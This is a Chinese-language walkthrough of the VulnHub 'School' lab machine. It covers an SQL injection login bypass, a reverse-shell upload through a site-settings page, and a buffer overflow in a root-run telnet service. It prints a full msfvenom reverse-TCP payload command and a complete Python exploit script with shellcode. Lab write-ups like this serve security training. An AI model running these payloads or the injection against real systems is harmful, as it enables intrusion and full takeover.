VulnHub-School

前言

  这是打靶训练的第29周,难度高,靶机下载

信息搜集

  nmap扫描结果

22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
23/tcp open  telnet?
80/tcp open  http    Apache httpd 2.4.38 ((Debian))

  23端口没啥信息,来到80
  
  登录框存在sql注入,用户名:' or 1=1 -- ,密码随便输入即可登录

  查看网页源代码发现assets/uploadsindex.php?page=site_settings
  
  来到http://10.16.122.87/student_attendance/index.php?page=site_settings,上传一个反弹shell上去
  
  马子其实被上传到了/student_attendance/assets/uploads/
  
  访问马子,触发反弹shell
  

提权

  在提权方面涉及到了缓冲区溢出,本人没有系统学过,所以将不会太详细在这里写出pwn的过程。

  这里可以直接进入root目录,查看win文件,和access.exe有关系
  
  access.exe以root用户运行,文件在/opt/access
  
  将两个文件拷贝到win10后,我发现23端口其实就是access.exe运行的。并且还提示本程序有漏洞,妥妥的缓冲区溢出
  
  缓冲区溢出详细过程不在写出,这里只写利用过程。生成一个msf的payload

msfvenom -p windows/shell_reverse_tcp LHOST=10.16.122.71 LPORT=4545 -f python -b "\x00\x4d\x4f\x5f\x79\x7e\x7f" EXITFUNC=thread
import socket

# 靶机ip
ip = '10.16.122.87'
# msf payload
buf = b""
buf += b"\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += b"\x76\x0e\x84\x92\xdb\x48\x83\xee\xfc\xe2\xf4\x78\x7a"
buf += b"\x59\x48\x84\x92\xbb\xc1\x61\xa3\x1b\x2c\x0f\xc2\xeb"
buf += b"\xc3\xd6\x9e\x50\x1a\x90\x19\xa9\x60\x8b\x25\x91\x6e"
buf += b"\xb5\x6d\x77\x74\xe5\xee\xd9\x64\xa4\x53\x14\x45\x85"
buf += b"\x55\x39\xba\xd6\xc5\x50\x1a\x94\x19\x91\x74\x0f\xde"
buf += b"\xca\x30\x67\xda\xda\x99\xd5\x19\x82\x68\x85\x41\x50"
buf += b"\x01\x9c\x71\xe1\x01\x0f\xa6\x50\x49\x52\xa3\x24\xe4"
buf += b"\x45\x5d\xd6\x49\x43\xaa\x3b\x3d\x72\x91\xa6\xb0\xbf"
buf += b"\xef\xff\x3d\x60\xca\x50\x10\xa0\x93\x08\x2e\x0f\x9e"
buf += b"\x90\xc3\xdc\x8e\xda\x9b\x0f\x96\x50\x49\x54\x1b\x9f"
buf += b"\x6c\xa0\xc9\x80\x29\xdd\xc8\x8a\xb7\x64\xcd\x84\x12"
buf += b"\x0f\x80\x30\xc5\xd9\xfa\xe8\x7a\x84\x92\xb3\x3f\xf7"
buf += b"\xa0\x84\x1c\xec\xde\xac\x6e\x83\x6d\x0e\xf0\x14\x93"
buf += b"\xdb\x48\xad\x56\x8f\x18\xec\xbb\x5b\x23\x84\x6d\x0e"
buf += b"\x18\xd4\xc2\x8b\x08\xd4\xd2\x8b\x20\x6e\x9d\x04\xa8"
buf += b"\x7b\x47\x4c\x22\x81\xfa\xd1\x58\xfe\xd5\xb3\x4a\x84"
buf += b"\x83\x1a\xc1\x62\xf8\xcb\x1e\xd3\xfa\x42\xed\xf0\xf3"
buf += b"\x24\x9d\x01\x52\xaf\x44\x7b\xdc\xd3\x3d\x68\xfa\x2b"
buf += b"\xfd\x26\xc4\x24\x9d\xec\xf1\xb6\x2c\x84\x1b\x38\x1f"
buf += b"\xd3\xc5\xea\xbe\xee\x80\x82\x1e\x66\x6f\xbd\x8f\xc0"
buf += b"\xb6\xe7\x49\x85\x1f\x9f\x6c\x94\x54\xdb\x0c\xd0\xc2"
buf += b"\x8d\x1e\xd2\xd4\x8d\x06\xd2\xc4\x88\x1e\xec\xeb\x17"
buf += b"\x77\x02\x6d\x0e\xc1\x64\xdc\x8d\x0e\x7b\xa2\xb3\x40"
buf += b"\x03\x8f\xbb\xb7\x51\x29\x3b\x55\xae\x98\xb3\xee\x11"
buf += b"\x2f\x46\xb7\x51\xae\xdd\x34\x8e\x12\x20\xa8\xf1\x97"
buf += b"\x60\x0f\x97\xe0\xb4\x22\x84\xc1\x24\x9d"

payload = b'' + b'A' * 1902 + b"\xdd\x12\x50\x62" + buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 23))
s.send(payload)
s.close()
print("ok")

  kali开启nc监听后,运行exp,拿到root权限
  

查看评论 -
评论